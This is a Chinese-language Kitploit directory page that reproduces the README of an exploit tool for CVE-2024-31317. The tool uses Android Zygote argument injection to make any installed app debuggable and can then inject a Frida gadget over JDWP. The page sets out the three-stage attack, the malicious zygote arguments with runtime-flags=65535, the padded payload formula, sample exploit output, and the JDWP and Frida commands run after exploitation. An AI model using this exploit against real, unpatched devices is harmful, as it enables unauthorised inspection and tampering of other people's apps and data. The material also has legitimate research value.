Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 可调试应用漏洞利用 | Kitploit
工具/GitHubGitHub/cleov2/debuggable-app-exploit
Android安全漏洞分析漏洞利用模糊测试移动安全学习与教育Payload 开发二进制利用
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 可调试应用漏洞利用

查看仓库
1235个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-31317 可调试应用漏洞利用工具

一个基于 Python 的 CVE-2024-31317(Android Zygote 注入)漏洞利用工具,通过 hidden_api_blacklist_exemptions 设置注入恶意的 zygote 参数,使得任何已安装的 Android 应用变为可调试。可选包含 Frida gadget 注入以实现运行时 hook。

概述

本漏洞利用工具利用了 Android Zygote 进程中的命令注入漏洞,以启用 debuggable 标志启动目标应用。这允许对任何应用进行 JDWP 调试和检查,无需 root 权限或应用的调试版本。

基于以下研究: Flanker 的 CVE-2024-31317 分析

关键发现:“runtime-flags 字段在 ZygoteArguments 中实际上可以用于启用应用的 debuggable 属性。”

特性

  • 自动检测模式 - 自动检测目标应用的 UID、指令集和数据目录
  • 可调试标志注入 - 设置 runtime-flags=65535 以启用调试
  • JDWP 转发 - 漏洞利用后自动设置 JDWP 端口转发
  • Frida gadget 注入 - 可选通过 JDWP 注入 Frida 以实现运行时 hook
  • 智能断点 - 使用可靠的断点,无需用户交互即可自动触发
  • 自动安装调试应用 - 如果未存在,则安装辅助应用

要求

  • 易受 CVE-2024-31317 影响的 Android 设备(2024 年 6 月之前的安全补丁)
  • 已安装 ADB 并启用 USB 调试
  • Python 3.10+
  • 所需包:ppadb、jdwplib

安装

将以下文件放在同一目录下:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # 主漏洞利用脚本
├── jdwplib.py                       # JDWP 客户端库
├── app-debug.apk                    # 可调试辅助应用
├── frida-gadget-android-*.so        # Frida gadget(可选)
├── frida-gadget.config.so           # Frida 配置(可选)
└── win32/adb.exe                    # Windows ADB 二进制文件

用法

基本用法

root@kitploit:~
python CVE-2024-31317-Debuggable.py

脚本会提示您选择参数检测模式:

root@kitploit:~
==================================================
  CVE-2024-31317 漏洞利用工具
==================================================

[1] 自动检测参数
[2] 硬编码值

模式 (1/2) [1]:

功能说明

  1. 阶段一:提取 startSeq

    • 启动一个可调试的辅助应用
    • 通过 JDWP 连接并提取栈帧中的 startSeq 值
    • 关闭辅助应用
  2. 阶段二:注入 Zygote 参数

    • 构建带有 runtime-flags=65535(可调试)的恶意 zygote 参数
    • 将 payload 注入到 hidden_api_blacklist_exemptions 设置中
    • 强制停止并重启目标应用(使用注入的参数)
  3. 阶段三:后渗透

    • 设置 JDWP 端口转发
    • 可选注入 Frida gadget 以实现运行时 hook

示例输出

root@kitploit:~
==================================================
  CVE-2024-31317 漏洞利用工具
==================================================

[1] 自动检测参数
[2] 硬编码值

模式 (1/2) [1]: 1

[INFO] 阶段一:提取 startSeq
[INFO] com.debug.app 已安装
[INFO] 设置可调试
[INFO] 启动 com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP 端口: 8700
[INFO] 挂起 VM
[INFO] 扫描 42 个帧
[INFO] startSeq: 123456
[INFO] 阶段二:利用 com.debug.configurator
[INFO] 检测 com.debug.configurator 的参数
[INFO] UID: 10242
[INFO] 架构: arm64
[INFO] 数据: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload 大小: 8765 字节
[INFO] 正在重启目标
[INFO] 完成
[INFO] 目标 PID: 23456
[INFO] JDWP: 8701

注入 Frida?(y/N):

配置

目标应用

编辑脚本顶部的常量:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # 更改为您的目标包名
DEBUG_APP = "com.debug.app"            # 辅助可调试应用
DEBUG_APK = "app-debug.apk"            # 辅助应用的 APK 文件

自动检测 vs 硬编码

自动检测模式(推荐):

  • 使用 pm list packages -U 获取 UID
  • 使用 dumpsys package 获取指令集和数据目录
  • 在不同设备上更可靠

硬编码模式:

  • 使用默认值(UID=10242, arm64 等)
  • 速度更快,但如果设备与默认值不同则可靠性较低

Frida Gadget 注入

在漏洞利用成功后,您可以选择注入 Frida gadget:

root@kitploit:~
注入 Frida?(y/N): y

脚本将:

  1. 将 frida-gadget.so 推送到 /data/local/tmp/
  2. 通过 run-as 复制到应用的数据目录
  3. 设置一个断点并通过 JDWP 加载 gadget
  4. 转发端口 27042 和 27043

断点目标

脚本按可靠性顺序尝试以下断点:

顶部的断点应自动触发。如果超时,请点击应用以触发后备断点。

连接到 Frida

成功注入后:

root@kitploit:~
# 连接到 gadget
frida -H 127.0.0.1:27042 -n Gadget

# 列出进程
frida-ps -H 127.0.0.1:27042

漏洞利用后

一旦漏洞利用成功,目标应用将以调试模式运行:

  1. 连接 JDWP 调试器:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. 使用 Android Studio 调试器 - 附加到转发端口上的进程

  3. 使用 Frida - 如果通过脚本注入了 gadget

工作原理

漏洞概述

CVE-2024-31317 是 Android Zygote 进程中的一个命令注入漏洞。通过使用特制的输入操纵 hidden_api_blacklist_exemptions 系统设置,我们可以在应用启动时注入任意的 zygote 参数。

关键组件

  1. startSeq 提取:每次应用启动都有一个唯一的序列号。我们通过 JDWP 从可调试应用中检查栈帧变量来提取它。

  2. Payload 构建:我们构建包含以下内容的 zygote 参数:

    root@kitploit:~
    --runtime-args
    --setuid=<目标_uid>
    --setgid=<目标_gid>
    --runtime-flags=65535      # 启用所有调试标志
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<包名>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<架构>
    --app-data-dir=<数据目录>
    --package-name=<包名>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. 注入:Payload 通过特定填充(针对 Android 12+)注入到系统设置中:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. 触发:强制停止并重启目标应用,该应用将使用注入的参数启动,并启用可调试标志。

通过 JDWP 的 Frida 注入

Frida 注入的工作方式:

  1. 通过 JDWP 连接到可调试应用
  2. 在常用方法上设置断点
  3. 当断点命中时,使用 Runtime.load() 加载 Frida gadget 共享库
  4. gadget 初始化并开始监听端口 27042

限制

  • 仅适用于易受 CVE-2024-31317 影响的设备(2024 年 6 月之前的安全补丁)
  • 不是 root 漏洞 - 仅提供对目标应用的可调试访问
  • Frida 注入需要应用正在运行并命中断点
  • 某些高度混淆的应用可能抵抗 Frida hook

故障排除

“获取 startSeq 失败”

  • 确保调试应用已正确签名并可安装
  • 尝试再次运行漏洞利用工具

Frida 注入期间“未命中断点”

  • 点击应用以触发触摸/绘制断点
  • 确保应用处于前台

Frida 连接被拒绝

  • 验证端口转发:adb forward --list
  • 重新运行端口转发:adb forward tcp:27042 tcp:27042

致谢

  • Flanker (flanker017) - CVE-2024-31317 的原始研究和详细分析
  • typlo - 通过 JDWP 检查查找 startSeq 的代码片段
  • Anonymous941 - Zygote 注入工具包参考实现
  • Meta X Red Team - 原始漏洞发现和披露

参考

  • CVE-2024-31317 详细分析 - Flanker
  • Meta 安全公告
  • InfoSec Writeup
  • Anonymous941 的 Zygote 注入工具包
  • Frida 文档

免责声明

本工具仅供教育和授权的安全研究用途。仅在您拥有或已获得明确书面许可的设备上使用。未经授权访问计算机系统是非法且不道德的。作者不对本工具的任何误用负责。

许可证

MIT 许可证 - 详情请参阅 LICENSE 文件。

下载工具
类方法触发方式
android.os.MessageQueuenext自动 - 主循环器持续轮询
android.os.BinderexecTransact自动 - 任何 IPC/binder 调用
android.app.ActivityThreadhandleMessage自动 - 应用的主处理器
android.os.HandlerdispatchMessage自动 - 消息分发
android.os.HandlerhandleMessage自动 - 消息处理
android.view.ChoreographerdoFrame自动 - 帧回调
android.view.ViewdispatchTouchEvent手动 - 需要触摸
android.view.ViewonDraw手动 - 需要 UI 重绘